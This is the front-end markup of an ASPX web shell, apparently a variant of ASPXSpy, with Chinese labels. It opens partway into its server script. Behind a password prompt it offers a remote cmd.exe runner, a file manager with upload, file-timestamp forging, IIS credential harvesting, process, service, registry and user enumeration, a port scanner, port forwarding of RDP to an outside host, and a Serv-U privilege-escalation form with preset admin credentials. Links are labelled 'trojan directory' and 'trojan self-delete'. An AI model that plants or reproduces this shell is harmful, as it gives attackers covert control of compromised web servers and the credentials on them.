        vrFA.Visible = false;
        yhv.Visible = false;
    }
</script>

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head1" runat="server">
    <meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
    <title>----测试-----</title>
    <style type="text/css">
.Bin_Style_Login{font-size: 12px; font-family:Tahoma;background-color:#ddd;border:1px solid #fff;}
body,td{font: 12px Tahoma,Arial;line-height: 16px; background-color:#003300; color:lime;}
.input{font-size: 12px;background-color:#ddd;border:1px solid #fff;}
.list{font-size: 12px;background-color:#ddd;border:1px solid #fff;}
.area{font-size: 12px;background-color:#ddd;border:1px solid #fff;padding:2px;}
.bt {font-size: 12px;background-color:#ddd;border:1px solid #fff;}
a {color:lime;text-decoration: none;}a:hover{color:lime;}
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#003300;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#003300;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#015201;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid #ddd;border-bottom:1px solid #ccc;background:#073b07;padding:5px 10px 5px 5px;font-weight:bold;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:lime;}
ul.info li{margin:0;color:lime;line-height:24px;height:24px;}
u{text-decoration: none;color:lime;float:left;display:block;width:150px;margin-right:10px;}
.u1{text-decoration: none;color:lime;float:left;display:block;width:150px;margin-right:10px;}
.u2{text-decoration: none;color:lime;float:left;display:block;width:350px;margin-right:10px;}
</style>

    <script type="text/javascript">
function CheckAll(form){
for(var i=0;i<form.elements.length;i++){
var e=form.elements[i];
if(e.name!='chkall')
e.checked=form.chkall.checked;
}
}
    </script>

</head>
<body style="margin: 0; table-layout: fixed;">
    <form id="ASPXSpy" runat="server">
        <div id="ljtzC" runat="server" style="margin: 15px" enableviewstate="false" visible="false">
            <span style="font: 11px Verdana;">Password:</span>
            <asp:TextBox ID="HRJ" runat="server" Columns="20" CssClass="Bin_Style_Login"></asp:TextBox>
            <asp:Button ID="ZSnXu" runat="server" Text="Login" CssClass="Bin_Style_Login" OnClick="xVm" /><p />
        </div>
        <div id="ZVS" runat="server">
            <div id="Zzj" runat="server">
                <table width="100%" border="0" cellpadding="0" cellspacing="0">
                    <tr class="head">
                        <td>
                            <span style="float: right;"><a href="http://www.on-e.cn" target="_blank">----测试----</a></span><span
                                id="Bin_Span_Sname" runat="server" enableviewstate="true"></span></td>
                    </tr>
                    <tr class="alt1">
                        <td>
                            <span style="float: right;" id="Bin_Span_FrameVersion" runat="server"></span>
                            <asp:LinkButton ID="UtkN" runat="server" OnClick="YKpI" Text="退出登录"></asp:LinkButton>
                            |
                            <asp:LinkButton ID="RsqhW" runat="server" Text="文件(夹)管理" OnClick="Ybg"></asp:LinkButton>
                            |
                            <asp:LinkButton ID="xxzE" runat="server" Text="Cmd命令" OnClick="VOxn"></asp:LinkButton>
                            |
                            <asp:LinkButton ID="nuc" runat="server" Text="IIS探测" OnClick="KjPi"></asp:LinkButton>
                            |
                            <asp:LinkButton ID="OREpx" runat="server" Text="系统进程" OnClick="Grxk"></asp:LinkButton>
                            |
                            <asp:LinkButton ID="jHN" runat="server" Text="系统服务" OnClick="ilC"></asp:LinkButton>
                            |
                            <asp:LinkButton ID="PHq" runat="server" Text="用户(组)信息" OnClick="Olm"></asp:LinkButton>
                            |
                            <asp:LinkButton ID="wmgnK" runat="server" Text="系统信息" OnClick="HtB"></asp:LinkButton>
                            |
                            <asp:LinkButton ID="FeV" runat="server" Text="文件搜索" OnClick="PPtK"></asp:LinkButton>
                            |
                            <asp:LinkButton ID="PVQ" runat="server" Text="Serv-U提权" OnClick="jXhS"></asp:LinkButton>
                            |
                            <asp:LinkButton ID="jNDb" runat="server" Text="注册表查询" OnClick="xSy"></asp:LinkButton>
                            |
                            <asp:LinkButton ID="HDQ" runat="server" Text="端口扫描" OnClick="cptS"></asp:LinkButton>
                            |
                            <asp:LinkButton ID="AoI" runat="server" Text="数据库管理" OnClick="dMx"></asp:LinkButton>
                            |
                            <asp:LinkButton ID="KHbEd" runat="server" Text="端口映射" OnClick="fDO"></asp:LinkButton>
                        </td>
                    </tr>
                </table>
            </div>
            <table width="100%" border="0" cellpadding="15" cellspacing="0">
                <tr>
                    <td>
                        <div id="jDKt" style="background: #f1f1f1; border: 1px solid #ddd; padding: 15px;
                            font: 14px; text-align: center; font-weight: bold;" runat="server" visible="false"
                            enableviewstate="false">
                        </div>
                        <h2 id="Bin_H2_Title" runat="server">
                        </h2>
                        <%--FileList--%>
                        <div id="CzfO" runat="server">
                            <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin: 10px 0;">
                                <tr>
                                    <td style="white-space: nowrap">
                                        当前目录 :
                                    </td>
                                    <td style="width: 100%">
                                        <input class="input" id="AXSbb" type="text" style="width: 97%; margin: 0 8px;" runat="server" />
                                    </td>
                                    <td style="white-space: nowrap">
                                        <asp:Button ID="xaGwl" runat="server" Text="Go" CssClass="bt" OnClick="EXV" /></td>
                                </tr>
                            </table>
                            <table width="100%" border="0" cellpadding="4" cellspacing="0">
                                <tr class="alt1">
                                    <td colspan="7" style="padding: 5px;">
                                        <div style="float: right;">
                                            <input id="Fhq" class="input" runat="server" type="file" style="height: 22px" />
                                            <asp:Button ID="RvPp" CssClass="bt" runat="server" Text="上传" OnClick="lbjLD" /></div>
                                        <asp:LinkButton ID="OLJFp" runat="server" Text="网站目录" OnClick="mcCY"></asp:LinkButton>
                                        | <a href="#" id="Bin_Button_CreateDir" runat="server">木马目录</a> | <a href="#" id="Bin_Button_CreateFile"
                                            runat="server">新建目录</a> | <span id="Bin_Span_Drv" runat="server"></span><a href="#"
                                                id="Bin_Button_KillMe" runat="server" style="color: Red">木马自杀</a>
                                    </td>
                                </tr>
                                <asp:Table ID="UGzP" runat="server" Width="100%" CellSpacing="0">
                                    <asp:TableRow CssClass="head">
                                        <asp:TableCell>&nbsp;</asp:TableCell><asp:TableCell>文件(夹)名</asp:TableCell><asp:TableCell
                                            Width="25%">最后修改时间</asp:TableCell><asp:TableCell Width="15%">大小</asp:TableCell><asp:TableCell
                                                Width="25%">操作</asp:TableCell></asp:TableRow>
                                </asp:Table>
                            </table>
                        </div>
                        <%--FileEdit--%>
                        <div id="vrFA" runat="server">
                            <p>
                                当前文件(创建新的文件名和新文件)<br />
                                <input class="input" id="Sqon" type="text" size="100" runat="server" />
                                <asp:DropDownList ID="NdCX" runat="server" CssClass="list" AutoPostBack="true" OnSelectedIndexChanged="zOVO">
                                    <asp:ListItem>Default</asp:ListItem>
                                    <asp:ListItem>UTF-8</asp:ListItem>
                                </asp:DropDownList>
                            </p>
                            <p>
                                文件内容<br />
                                <textarea id="Xgvv" runat="server" class="area" cols="100" rows="25" enableviewstate="true"></textarea>
                            </p>
                            <p>
                                <asp:Button ID="JJjbW" runat="server" Text="提交" CssClass="bt" OnClick="DGCoW" />
                                <asp:Button ID="iCNu" runat="server" Text="返回" CssClass="bt" OnClick="IkkO" /></p>
                        </div>
                        <%--CloneTime--%>
                        <div id="zRyG" runat="server" enableviewstate="false" visible="false">
                            <p>
                                修改文件<br />
                                <input class="input" id="QiFB" type="text" size="120" runat="server" /></p>
                            <p>
                                参考文件<br />
                                <input class="input" id="lICp" type="text" size="120" runat="server" /></p>
                            <p>
                                <asp:Button ID="JEaxV" runat="server" Text="提交" CssClass="bt" OnClick="XXrLw" /></p>
                            <h2>
                                设置最后修改时间 &raquo;</h2>
                            <p>
                                当前文件<br />
                                <input class="input" id="pWVL" type="text" size="120" runat="server" /></p>
                            <p>
                                <asp:CheckBox ID="ZhWSK" runat="server" Text="只读" EnableViewState="False" />
                                &nbsp;
                                <asp:CheckBox ID="SsR" runat="server" Text="系统" EnableViewState="False" />
                                &nbsp;
                                <asp:CheckBox ID="ccB" runat="server" Text="隐藏" EnableViewState="False" />
                                &nbsp;
                                <asp:CheckBox ID="fbyZ" runat="server" Text="存档" EnableViewState="False" />
                            </p>
                            <p>
                                创建时间 :
                                <input class="input" id="yUqx" type="text" runat="server" />
                                最后修改时间 :
                                <input class="input" id="uYjw" type="text" runat="server" />
                                最后访问时间 :
                                <input class="input" id="aLsn" type="text" runat="server" />
                            </p>
                            <p>
                                <asp:Button ID="kOG" CssClass="bt" runat="server" Text="提交" OnClick="tIykC" />
                            </p>
                        </div>
                        <%--IISSpy--%>
                        <div runat="server" id="VNR" visible="false" enableviewstate="false">
                            <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin: 10px 0;">
                                <asp:Table ID="GlI" runat="server" Width="100%" CellSpacing="0">
                                    <asp:TableRow CssClass="head">
                                        <asp:TableCell>ID</asp:TableCell><asp:TableCell>IIS_USER</asp:TableCell><asp:TableCell>IIS_PASS</asp:TableCell><asp:TableCell>Domain</asp:TableCell><asp:TableCell>Path</asp:TableCell></asp:TableRow>
                                </asp:Table>
                            </table>
                        </div>
                        <%--Process--%>
                        <div runat="server" id="DCbS" visible="false" enableviewstate="false">
                            <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin: 10px 0;">
                                <asp:Table ID="IjsL" runat="server" Width="100%" CellSpacing="0">
                                    <asp:TableRow CssClass="head">
                                        <asp:TableCell></asp:TableCell><asp:TableCell>ID</asp:TableCell><asp:TableCell>Process</asp:TableCell><asp:TableCell>ThreadCount</asp:TableCell><asp:TableCell>Priority</asp:TableCell><asp:TableCell>Action</asp:TableCell></asp:TableRow>
                                </asp:Table>
                            </table>
                        </div>
                        <%--CmdShell--%>
                        <div runat="server" id="vIac">
                            <p>
                                Cmd路径:<br />
                                <input class="input" runat="server" id="kusi" type="text" size="100" value="c:\windows\system32\cmd.exe" />
                            </p>
                            语句:<br />
                            <input class="input" runat="server" id="bkcm" value="/c Set" type="text" size="100" />
                            <asp:Button ID="YrqL" CssClass="bt" runat="server" Text="执行" OnClick="FbhN" />
                            <div id="tnQRF" runat="server" visible="false" enableviewstate="false">
                            </div>
                        </div>
                        <%--Services--%>
                        <div runat="server" id="iQxm" visible="false" enableviewstate="false">
                            <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin: 10px 0;">
                                <asp:Table ID="vHCs" runat="server" Width="100%" CellSpacing="0">
                                    <asp:TableRow CssClass="head">
                                        <asp:TableCell></asp:TableCell><asp:TableCell>ID</asp:TableCell><asp:TableCell>Name</asp:TableCell><asp:TableCell>Path</asp:TableCell><asp:TableCell>State</asp:TableCell><asp:TableCell>StartMode</asp:TableCell></asp:TableRow>
                                </asp:Table>
                            </table>
                        </div>
                        <%--Sysinfo--%>
                        <div runat="server" id="ghaB" visible="false" enableviewstate="false">
                            <hr style="border: 1px solid #ddd; height: 0px;" />
                            <ul class="info" id="Bin_Ul_Sys" runat="server">
                            </ul>
                            <h2 id="Bin_H2_Mac" runat="server">
                            </h2>
                            <hr style="border: 1px solid #ddd; height: 0px;" />
                            <ul class="info" id="Bin_Ul_NetConfig" runat="server">
                            </ul>
                            <h2 id="Bin_H2_Driver" runat="server">
                            </h2>
                            <hr style="border: 1px solid #ddd; height: 0px;" />
                            <ul class="info" id="Bin_Ul_Driver" runat="server">
                            </ul>
                        </div>
                        <%--UserInfo--%>
                        <div runat="server" id="xWVQ" visible="false" enableviewstate="false">
                            <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin: 10px 0;">
                                <asp:Table ID="VPa" runat="server" Width="100%" CellSpacing="0">
                                </asp:Table>
                            </table>
                        </div>
                        <%--SuExp--%>
                        <div runat="server" id="APl">
                            <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin: 10px 0;">
                                <tr align="center">
                                    <td style="width: 10%">
                                    </td>
                                    <td style="width: 20%" align="left">
                                        用户名 :
                                        <input class="input" runat="server" id="dNohJ" type="text" size="20" value="localadministrator" /></td>
                                    <td style="width: 20%" align="left">
                                        密码 :
                                        <input class="input" runat="server" id="NMd" type="text" size="20" value="#l@$ak#.lk;0@P" /></td>
                                    <td style="width: 20%" align="left">
                                        端口 :
                                        <input class="input" runat="server" id="HlQl" type="text" size="20" value="43958" /></td>
                                    <td style="width: 10%">
                                    </td>
                                </tr>
                                <tr>
                                    <td style="width: 10%">
                                    </td>
                                    <td colspan="5">
                                        CmdShell&nbsp;&nbsp;:&nbsp;<input class="input" runat="server" id="mHbjB" type="text"
                                            size="100" value="cmd.exe /c net user" />
                                        <asp:Button ID="SPhc" CssClass="bt" runat="server" Text="执行" OnClick="lRfRj" /></td>
                                </tr>
                            </table>
                            <div id="UHlA" visible="false" enableviewstate="false" runat="server">
                                <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin: 10px 0;">
                                    <tr align="center">
                                        <td style="width: 30%">
                                        </td>
                                        <td align="left" style="width: 40%">
                                            <pre id="Bin_Td_Res" runat="server"></pre>
                                        </td>
                                        <td style="width: 30%">
                                        </td>
                                    </tr>
                                </table>
                            </div>
                        </div>
                        <%--Reg--%>
                        <div id="kkHN" runat="server">
                            <p>
                                注册表路径 :
                                <asp:TextBox ID="qPdI" Style="width: 85%; margin: 0 8px;" CssClass="input" runat="server" /><asp:Button
                                    ID="MoNA" runat="server" Text="Go" CssClass="bt" OnClick="RAFL" /></p>
                            <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin: 10px 0;">
                                <asp:Table ID="pLWD" runat="server" Width="100%" CellSpacing="0">
                                    <asp:TableRow CssClass="alt1">
                                        <asp:TableCell ColumnSpan="2" ID="vyX"></asp:TableCell></asp:TableRow>
                                    <asp:TableRow CssClass="head">
                                        <asp:TableCell Width="40%">Key</asp:TableCell><asp:TableCell Width="60%">Value</asp:TableCell></asp:TableRow>
                                </asp:Table>
                            </table>
                        </div>
                        <%--PortScan--%>
                        <div id="YwLB" runat="server">
                            <p>
                                IP :
                                <asp:TextBox ID="MdR" Style="width: 10%; margin: 0 8px;" CssClass="input" runat="server"
                                    Text="127.0.0.1" />
                                端口 :
                                <asp:TextBox ID="lOmX" Style="width: 40%; margin: 0 8px;" CssClass="input" runat="server"
                                    Text="21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500" />
                                <asp:Button ID="CmUCh" runat="server" Text="扫描" CssClass="bt" OnClick="ELkQ" />
                            </p>
                            <div id="GBYT" runat="server" visible="false" enableviewstate="false">
                            </div>
                        </div>
                        <%--DataBase--%>
                        
                        <%--PortMap--%>
                        <div id="hOWTm" runat="server">
                            <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin: 10px 0;">
                                <tr align="center">
                                    <td style="width: 5%">
                                    </td>
                                    <td style="width: 20%" align="left">
                                        本地Ip :
                                        <input class="input" runat="server" id="eEpm" type="text" size="20" value="127.0.0.1" /></td>
                                    <td style="width: 20%" align="left">
                                        本地端口 :
                                        <input class="input" runat="server" id="iXdh" type="text" size="20" value="3389" /></td>
                                    <td style="width: 20%" align="left">
                                        远程Ip :
                                        <input class="input" runat="server" id="llH" type="text" size="20" value="www.on-e.cn" /></td>
                                    <td style="width: 20%" align="left">
                                        远端口程 :
                                        <input class="input" runat="server" id="ZHS" type="text" size="20" value="80" /></td>
                                </tr>
                                <tr align="center">
                                    <td colspan="5">
                                        <br />
                                        <asp:Button ID="FJE" CssClass="bt" runat="server" Text="映射端口" OnClick="wDZ" />
                                        <asp:Button ID="giX" CssClass="bt" runat="server" Text="清除所有" OnClick="vJNsE" />
                                        <asp:Button ID="GFsm" CssClass="bt" runat="server" Text="刷新" OnClick="tYoZ" /></td>
                                </tr>
                            </table>
                        </div>
                        <%--Search--%>
                        <div id="yhv" runat="server">
                            <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin: 10px 0;">
                                <tr align="center">
                                    <td style="width: 20%" align="left">
                                        关键词</td>
                                    <td style="width: 60%" align="left">
                                        <textarea id="iaMKl" runat="server" class="area" style="width: 100%" rows="4"></textarea></td>
                                    <td style="width: 20%" align="left">
                                        <input type="checkbox" runat="server" id="rAQ" value="1" />
                                        使用正则表达式</td>
                                </tr>
                                <tr align="center">
                                    <td style="width: 20%" align="left">
                                        替换</td>
                                    <td style="width: 60%" align="left">
                                        <textarea id="qPe" runat="server" class="area" style="width: 100%" rows="4"></textarea></td>
                                    <td style="width: 20%" align="left">
                                        <input type="checkbox" runat="server" id="YZw" />
                                        替换</td>
                                </tr>
                                <tr align="center">
                                    <td style="width: 20%" align="left">
                                        搜索文件类型</td>
                                    <td style="width: 60%" align="left">
                                        <input type="text" runat="server" class="input" id="UDLvA" style="width: 100%" value="asp|asa|cer|cdx|aspx|asax|ascx|cs|jsp|php|txt|inc|ini|js|htm|html|xml|config" /></td>
                                    <td style="width: 20%" align="left">
                                        <asp:DropDownList runat="server" ID="Ven" AutoPostBack="False" CssClass="list">
                                            <asp:ListItem Value="name">文件名称</asp:ListItem>
                                            <asp:ListItem Value="content" Selected="True">文件内容</asp:ListItem>
                                        </asp:DropDownList></td>
                                </tr>
                                <tr align="center">
                                    <td style="width: 20%" align="left">
                                        路径</td>
                                    <td style="width: 60%" align="left">
                                        <input type="text" class="input" id="NaLJ" runat="server" style="width: 100%" /></td>
                                    <td style="width: 20%" align="left">
                                        <asp:Button CssClass="bt" ID="axy" runat="server" OnClick="NBy" Text="开始" /></td>
                                </tr>
                            </table>
                            <br />
                            <br />
                            <asp:Table ID="oJiym" runat="server" Width="100%" CellSpacing="0">
                                <asp:TableRow CssClass="head">
                                    <asp:TableCell Width="60%">File Path</asp:TableCell><asp:TableCell Width="20%">Last modified</asp:TableCell><asp:TableCell
                                        Width="20%">Size</asp:TableCell></asp:TableRow>
                            </asp:Table>
                        </div>
                    </td>
                </tr>
            </table>
            <div style="padding: 10px; border-bottom: 1px solid #fff; border-top: 1px solid #ddd;
                background: #003300;">
                Copyright &copy; 2009-2012 <a href="http://www.on-e.cn" target="_blank">ON-e.cn</a>
                All Rights Reserved.</div>
        </div>
    </form>
</body>
</html>

T1KUS90T
  root-grov@109.203.102.25:~$